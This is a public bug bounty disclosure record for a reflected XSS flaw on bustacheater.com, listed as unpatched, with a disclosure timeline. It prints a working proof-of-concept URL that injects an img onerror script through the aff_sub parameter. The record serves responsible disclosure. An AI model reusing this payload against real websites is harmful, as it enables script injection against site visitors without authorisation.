Lucene search

K
openbugbountyKeritzyOBB:328771
HistoryOct 09, 2017 - 1:20 a.m.

bustacheater.com XSS vulnerability

2017-10-0901:20:00
keritzy
www.openbugbounty.org
11
Vulnerable URL:
https://bustacheater.com/ho/trial/index.php?afid=%7Baffiliate_id%7D&source;=%7Bsource%7D&aff;_sub=/%22%3E%3Cimg%20src=x%20onerror=alert(%27OPENBUGBOUNTY%27)%3E%7Baff_sub%7D&aff;_sub2=%7Baff_sub2%7D&aff;_sub3=%7Baff_sub3%7D&aff;_sub4=%7Baff_sub4%7D&aff;_sub5=%7Baff_sub5%7D
Details:
Description Value
Patched: No
Latest check for patch: 07.01.2018
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 490797
VIP website status: No
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 9 October, 2017 01:20 GMT
Generic security notifications sent to website owner 9 October, 2017 05:26 GMT
Notification sent to subscribers (without technical details) 9 October, 2017 06:17 GMT
Vulnerability details disclosed by researcher 7 January, 2018 05:43 GMT